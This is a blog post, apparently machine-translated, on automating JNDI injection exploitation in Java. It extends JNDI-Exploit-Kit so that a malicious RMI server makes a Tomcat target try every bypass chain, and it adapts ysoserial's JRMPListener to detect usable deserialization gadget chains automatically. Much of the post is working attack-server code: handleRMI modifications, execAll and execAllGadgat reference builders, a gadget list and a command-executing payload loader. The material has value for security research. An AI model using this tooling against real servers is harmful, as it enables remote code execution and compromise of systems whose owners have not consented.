Exploration of JNDI vulnerability utilization

Posted by eyaly on Sat, 19 Feb 2022 12:56:24 +0100

Recently, I have learned some JNDI vulnerability utilization chains that master is looking for, and I have benefited a lot. I also try to do some mining on JNDI vulnerability utilization. At present, I think of two questions in the process of JNDI utilization.

  • It is inconvenient to test that every JNDI Bypass chain needs to change the URL manually. Can I request an address and let the target run all my chains?
  • In the process of JNDI utilization, it can be utilized through deserialization. Can the deserialization utilization chain be detected automatically?

Automatic test Bypass utilization chain

In order to make this method more general, we first consider the JDK's native classes that implement ObjectFactory, so I noticed the following classes.

  • com.sun.jndi.rmi.registry.RegistryContextFactory
  • com.sun.jndi.ldap.LdapCtxFactory

RegistryContextFactory

Call analysis

Get the URL list from the Reference through getURLs and encapsulate it into an array. The URLsToObject initiates an RMI request for the URL list in the array, so RegistryContextFactory meets our needs.

public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
     //Judge whether it is a reference object and factoryClassname is RegistryContextFactory
        if (!isRegistryRef(var1)) {
            return null;
        } else {
            //Get the URL list from the reference object and cycle the call
            Object var5 = URLsToObject(getURLs((Reference)var1), var4);
            if (var5 instanceof RegistryContext) {
                RegistryContext var6 = (RegistryContext)var5;
                var6.reference = (Reference)var1;
            }
            return var5;
        }
    }
  • getURLs to obtain the URL must satisfy that RefAddr is of Type StringRefAddr and the Type attribute is URL before it can be saved.
private static String[] getURLs(Reference var0) throws NamingException {
        int var1 = 0;
        String[] var2 = new String[var0.size()];
        Enumeration var3 = var0.getAll();
        //Get the url from RefAddr and save it to the array
        while(var3.hasMoreElements()) {
            RefAddr var4 = (RefAddr)var3.nextElement();
            //Only RefAddr is of StringRefAddr Type and the Type property is URL can it be saved
            if (var4 instanceof StringRefAddr && var4.getType().equals("URL")) {
                var2[var1++] = (String)var4.getContent();
            }
        }
        if (var1 == 0) {
            throw new ConfigurationException("Reference contains no valid addresses");
        } else if (var1 == var0.size()) {
            return var2;
        } else {
            //Return URL array
            String[] var5 = new String[var1];
            System.arraycopy(var2, 0, var5, 0, var1);
            return var5;
        }
    }
  • Create rmiURLContextFactory object in URLsToObject and call getObjectInstance. Determine the type of object passed in from getObjectInstance. If it is an array, call getUsingURLs
private static Object URLsToObject(String[] var0, Hashtable<?, ?> var1) throws NamingException {
        rmiURLContextFactory var2 = new rmiURLContextFactory();
        return var2.getObjectInstance(var0, (Name)null, (Context)null, var1);
    }


public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
        if (var1 == null) {
            return new rmiURLContext(var4);
        } else if (var1 instanceof String) {
            return getUsingURL((String)var1, var4);
        } else if (var1 instanceof String[]) {
            //Array type
            return getUsingURLs((String[])((String[])var1), var4);
        } else {
            throw new ConfigurationException("rmiURLContextFactory.getObjectInstance: argument must be an RMI URL String or an array of them");
        }
    }
  • getUsingURLs creates rmiURLContext and circularly calls lookup to initiate RMI call until an object is obtained and returned.
private static Object getUsingURLs(String[] var0, Hashtable<?, ?> var1) throws NamingException {
        if (var0.length == 0) {
            throw new ConfigurationException("rmiURLContextFactory: empty URL array");
        } else {
            rmiURLContext var2 = new rmiURLContext(var1);
            try {
                NamingException var3 = null;
                int var4 = 0;
                while(var4 < var0.length) {
                    try {
                        Object var5 = var2.lookup(var0[var4]);
                        return var5;
                    } catch (NamingException var9) {
                        var3 = var9;
                        ++var4;
                    }
                }
                throw var3;
            } finally {
                var2.close();
            }
        }
    }

Utilization analysis

Only RMI protocol can be used to initiate requests through RegistryContextFactory, so RMI related utilization can only be detected in this way at present. A part of RMI utilization chain is integrated in JNDI- Exploit- Kit tool of Orange master, which also includes bypass of Tomcat and groovy. Of course, groovy's execution also depends on Tomcat. After the tool runs, some RMI URL s will be generated. We can also add RegistryContextFactory to the utilization chain.

RMIRefServer contains the logic of RMI processing, so you can also register the RegistryContextFactory reference.

/*
     * Fuzz All Bypass
     * Created by Tibetan green
     */
    public ResourceRef execAll() throws RemoteException, NamingException{
        ResourceRef ref = new ResourceRef("xxxx", null, "", "",
                true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
        //Mapper.references stores the relationship between randomly generated rmi names and utilization methods
        for (Map.Entry<String, String> entry : Mapper.references.entrySet()) {
            String mapKey = entry.getKey();
            String mapValue = entry.getValue();
            //Skip if it is RegistryContextFactory, otherwise it will cause recursive query
            if(!mapValue.equals("BypassTestAll")){
                ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/%s", ServerStart.rmi_addr,mapKey)));
            }
            }
        return ref;
    }

RMIRefServer#handleRMI will find the corresponding processing method according to the requested url, generate the reference object and return it, so we just need to add the execAll method we constructed to the if judgment.

private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {
        int method = ois.readInt(); // method
        ois.readLong(); // hash
        if ( method != 2 ) { // lookup
            return false;
        }
        //Get the name of the object requested by rmi. Here is the randomly generated name
        String object = (String) ois.readObject();
        System.out.println(getLocalTime() + " [RMISERVER]  >> Is RMI.lookup call for " + object + " " + method);
        String cpstring = this.classpathUrl.toString();
     //According to the extracted name from mapper Get the name corresponding to the utilization method from references
        String reference = Mapper.references.get(object);
        if (reference == null) {
            System.out.println(getLocalTime() + " [RMISERVER]  >> Reference that matches the name(" + object + ") is not found.");
            //return false;
            cpstring = "BypassByGroovy";
        }
        URL turl = new URL(cpstring + "#" + reference);
        out.writeByte(TransportConstants.Return);// transport op
        try ( ObjectOutputStream oos = new MarshalOutputStream(out, turl) ) {
            oos.writeByte(TransportConstants.NormalReturn);
            new UID().write(oos);
            //Create ReferenceWrapper wrapper class
            ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
        //  Call different methods according to different names to get the corresponding reference object
            if (reference.startsWith("BypassByEL")){
                System.out.println(getLocalTime() + " [RMISERVER]  >> Sending local classloading reference for BypassByEL.");
                Reflections.setFieldValue(rw, "wrappee", execByEL());
            } else if (reference.startsWith("BypassByGroovy")){
                System.out.println(getLocalTime() + " [RMISERVER]  >> Sending local classloading reference for BypassByGroovy.");
                Reflections.setFieldValue(rw, "wrappee", execByGroovy());
            }
            //Add our constructed execAll method to the judgment
            else if (reference.startsWith("BypassTestAll")){
                System.out.println(getLocalTime() + " [RMISERVER]  >> Sending local classloading reference for BypassTestAll.");
                Reflections.setFieldValue(rw, "wrappee", execAll());
            }
            else {
                System.out.println(
                        String.format(
                                getLocalTime() + " [RMISERVER]  >> Sending remote classloading stub targeting %s",
                                new URL(cpstring + reference.concat(".class"))));
                Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", reference, turl.toString()));
            }
            Field refF = RemoteObject.class.getDeclaredField("ref");
            refF.setAccessible(true);
            refF.set(rw, new UnicastServerRef(12345));
            oos.writeObject(rw);
            oos.flush();
            out.flush();
        }
        return true;
    }

Due to util Mapper #references contains reference relationships, so you need to make changes here.

static {
...
   references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"BypassTestAll");
instructions.put("BypassTestAll","Build in "+ withColor("JDK - (BYPASSAll by @Tibetan green)",ANSI_RED) +" whose test All Bypass Payload");
}

Of course, we can also add some utilization chains previously analyzed, but this is not the focus of our article, so we won't analyze it. After adding and starting, you can see the utilization chain address we added.

The registry requested to be created by us in tomcat will run all the utilization chains. If the utilization fails, it will cause an exception to enter the next utilization chain until the operation succeeds in obtaining the object and returning.

We can also verify from the server side, because tomcat8 I use here runs to the el expression and returns with success.

Stack overflow

I suddenly thought that if the address in the reference is also RegistryContextFactory, it will not lead to recursive lookup query. Will there be any problems. The server code is as follows:

Registry registry = LocateRegistry.createRegistry(1099);
        Reference ref = new Reference("javax.sql.DataSource","com.sun.jndi.rmi.registry.RegistryContextFactory",null);
        ref.add(new StringRefAddr("URL","rmi://127.0.0.1:1099/Foo"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Foo", wrapper);

After testing, recursive query will trigger the stack overflow exception of tomcat, but it will not affect the use of the program.

LdapCtxFactory

LdapCtxFactory corresponds to RegistryContextFactory. The specific process is not analyzed. It is finally executed through LdapCtxFactory#getUsingURL, but only DirContext is obtained and the Lookup method is not called, so it seems that it can not be used.

private static DirContext getUsingURL(String var0, Hashtable<?, ?> var1) throws NamingException {
        Object var2 = null;
        LdapURL var3 = new LdapURL(var0);
        String var4 = var3.getDN();
        String var5 = var3.getHost();
        int var6 = var3.getPort();
        String var8 = null;
        String[] var7;
        if (var5 == null && var6 == -1 && var4 != null && (var8 = ServiceLocator.mapDnToDomainName(var4)) != null && (var7 = ServiceLocator.getLdapService(var8, var1)) != null) {
            String var9 = var3.getScheme() + "://";
            String[] var10 = new String[var7.length];
            String var11 = var3.getQuery();
            String var12 = var3.getPath() + (var11 != null ? var11 : "");
            for(int var13 = 0; var13 < var7.length; ++var13) {
                var10[var13] = var9 + var7[var13] + var12;
            }
            var2 = getUsingURLs(var10, var1);
            ((LdapCtx)var2).setDomainName(var8);
        } else {
            var2 = new LdapCtx(var4, var5, var6, var1, var3.useSsl());
            ((LdapCtx)var2).setProviderUrl(var0);
        }
        //Return DirContext object
        return (DirContext)var2;
    }

Automatic test deserialization utilization chain

Through the analysis of problem 1, we can only use RMI protocol to help us initiate multiple RMI calls at one time. At present, most tools are based on Ldap for deserialization, but it can also be used in RMI.

The first scenario we want to use is to attack the client through RMI, so we can use ysoserial#JRMPListener module to build a JRMP listener. When the client initiates a request, it will build an exception object badattributevalueexception, and put the malicious object we want to construct in the val attribute of this exception object.

out.writeByte(TransportConstants.Return);// transport op
        ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
        //Write exception ID
        oos.writeByte(TransportConstants.ExceptionalReturn);
        new UID().write(oos);
        //Build BadAttributeValueExpException exception object and add malicious object to val attribute.
        BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
        Reflections.setFieldValue(ex, "val",payload );
        oos.writeObject(ex);

When the client initiates a request, it will determine whether to deserialize by judging whether the returnType is TransportConstants#ExceptionalReturn in StreamRemoteCall#executeCall. That is, the exception object will be deserialized only when an exception is returned.

switch (returnType) {
        case TransportConstants.NormalReturn:
            break;
        case TransportConstants.ExceptionalReturn:
            Object ex;
            try {
                //Deserialization is performed when the return type is ExceptionalReturn
                ex = in.readObject();
            } catch (Exception e) {
                throw new UnmarshalException("Error unmarshaling return", e);
            }
            // An exception should have been received,
            // if so throw it, else flag error
            if (ex instanceof Exception) {
                exceptionReceivedFromServer((Exception) ex);
            } else {
                throw new UnmarshalException("Return type not Exception");
            }
            // Exception is thrown before fallthrough can occur
        default:
            if (Transport.transportLog.isLoggable(Log.BRIEF)) {
                Transport.transportLog.log(Log.BRIEF,
                    "return code invalid: " + returnType);
            }
            throw new UnmarshalException("Return code invalid");
        }

However, since we have built an exception object, exceptions will be thrown during execution. When analyzing the RegistryContextFactory, we said that it will stop only when it returns to normal, and the returned exception will continue to request other RMI addresses. Therefore, if it is used in this way, we can only Fuzz all the deserialization utilization chains. We don't know which utilization chain is available.

Failed attempt 1

Analyzing the utilization process of StreamRemoteCall#executeCall, I found that as long as TransportConstants#ExceptionalReturn is set, it will be deserialized. If we only set this field, but only our malicious object is passed in, can we bypass the error message here? So I made the following changes to JRMPListener.

However, after deserialization, we will judge whether the passed in object is an exception object. If not, we will throw an exception.

Failed attempt 2

Continue to analyze and find registryimpl_ The stub #lookup will also be deserialized, but the result of the deserialization will be converted to Remote type. If we return an implementation class that is not Remote, it will also cause an exception.

Utilization analysis

Although we cannot judge the existence of the utilization chain directly by whether to continue the request, we can still judge it by DNSLog. We can get the result of DNSLog after each request. If there is a return value, it means that the utilization chain is available.

However, when writing the code test, I was pleasantly surprised to find that when using failure to catch exceptions, only NamingException type exceptions will be caught.

If the use chain is not found, a CommunicationException will be thrown, and this exception is a subclass of NamingException, so it will be caught

If the utilization is successful and other types of exceptions are thrown, they will not be caught.

However, there is another problem. Some utilization classes exist, but they cannot be utilized due to JDK version or other problems, such as CC1. Other exceptions will be thrown at this time, but they cannot trigger vulnerabilities. Therefore, these classes should be removed during automatic detection.

It is probably measured that CC1, CC3 and CC7 cannot be used in the CC chain. Both CC1 and CC3 cannot be used because the JDK version is too high. It is understandable, but in CC7, it can be executed successfully, but the CommunicationException exception will still be returned.

Other use chains will not be tested first. Here is just a general idea. Through this implementation, the automatic detection part can use the chain. Finally, the gadget of the last request in our server request is the existing utilization chain.

The code implementation mainly makes a little improvement on the basis of JNDI exploit kit, mainly adding the execAllGadgat method to the if judgment.

Traverse the added utilization chain in the execAllGadgat method and add it to the reference object.

public static String[] gadgets=new String[]{"CommonsBeanutils1","CommonsCollections10","CommonsCollections2","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections8","CommonsCollections9","Hibernate1","JBossInterceptors1","JSON1","JavassistWeld1","Jdk7u21","MozillaRhino1","MozillaRhino2","ROME","Vaadin1","Jre8u20"};  
public Object execAllGadgat() {
        ResourceRef ref = new ResourceRef("xxxx", null, "", "",
                true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
        for(String gadget:gadgets){
            ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/serial/%s", ServerStart.rmi_addr,gadget)));
        }
        return ref;
    }

Since our Payload is not added to references, it cannot be obtained from the Map, so I add a judgment here. When the object starts with ser, it means that it is used through deserialization to assign a value to the reference.

Finally, add a reference judgment. If it starts with serial, take out the call chain name to obtain the malicious object and write it directly.

public Object execGadgets(String className) throws Exception {
        Class clazz = Class.forName("ysoserial.payloads."+className);
        ObjectPayload<?> payload = (ObjectPayload<?>) clazz.newInstance();
        final Object objBefore = payload.getObject("whoami", "exec_global");
        return objBefore;
    }

summary

Although this small discovery may be a bit of icing on the cake for the utilization of JNDI vulnerabilities, I also found my lack of understanding of RMI requests through the research in recent days. Finally, I make a summary of this utilization method.

  • Because we need to pass in an ObjectFactory class name, we need a Reference object, but the JDK comes with only LinkRef and cannot pass the ObjectFactory class name. Therefore, the ResourceRef in Tomcat is still used here, so we still rely on Tomcat.
  • Since LdapCtxFactory did not call the Lookup method in the end, it can only carry out automatic detection through RMI protocol at present

  • Since CC1, CC3 and CC7 cannot judge whether they exist by the returned exception type, these chains cannot be detected. At present, I only tested the CC chain. Whether there are exceptions in other types of utilization chains has not been tested

Topics: Java Back-end Cyber Security computer security hole